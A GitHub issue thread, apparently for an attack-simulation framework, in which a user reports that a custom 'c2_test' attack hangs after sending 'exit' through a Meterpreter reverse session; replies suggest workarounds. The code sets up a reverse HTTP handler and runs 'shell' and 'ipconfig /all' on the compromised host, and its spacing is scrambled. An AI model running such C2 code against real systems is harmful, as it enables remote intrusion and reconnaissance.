You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
classC2TestAttackOptions(AttackOptions):
lhost="Reverse HTTP target host or IP address"lport="Reverse HTTP target port"def_set_defaults(self):
self.lhost="172.18.0.3"self.lport="80"classC2TestAttack(Attack):
info=AttackInfo(
name="c2_test",
description="Test over the C&C channel")
options_class=C2TestAttackOptionshandler=Nonedefrun(self):
withself.check_printed("172.16.0.1"):
withself.wrap_ssh_exceptions():
self._start_handler()
self._handle_output()
def_start_handler(self):
self.handler=ReverseConnectionHandler(self.ssh_client, self.options.lhost, self.options.lport)
self.handler.start()
def_handle_output(self):
forlineinself.handler.stdout:
self._respond(line)
self.print(line)
def_respond(self, line):
if"Meterpreter session 1 opened"inline:
time.sleep(2)
self._collect_files()
elif ("Backgrounding session "inline) or \
("Exploit completed, but no session was created"inline):
self.handler.shutdown()
def_collect_files(self):
self.ssh_client.write_lines(self.handler.stdin, [
"shell",
"ipconfig /all",
"exit",
"bg"])
time.sleep(1)
The core command executed in reversehandler is shell, ipconfig /all, exit and bg, however, when I execute exit command, the stdout print is blocked and then time out exception occured as below:
Expected behavior
This ssh_client should work normally when exit command is executed.
The text was updated successfully, but these errors were encountered:
But I suspect this will leave the actual process alive on the client, which might not be what you want. I'll look a bit more into it when I find the time.
thanks for your kind response. I have another solution to solve above question with ssh_client.invoke_shell(), which can get a interactive shell so that each commands can be executed in a same ssh channel.
Describe the bug
I add a new Attack as below:
The core command executed in reversehandler is
shell
,ipconfig /all
,exit
andbg
, however, when I executeexit
command, the stdout print is blocked and then time out exception occured as below:Expected behavior
This ssh_client should work normally when
exit
command is executed.The text was updated successfully, but these errors were encountered: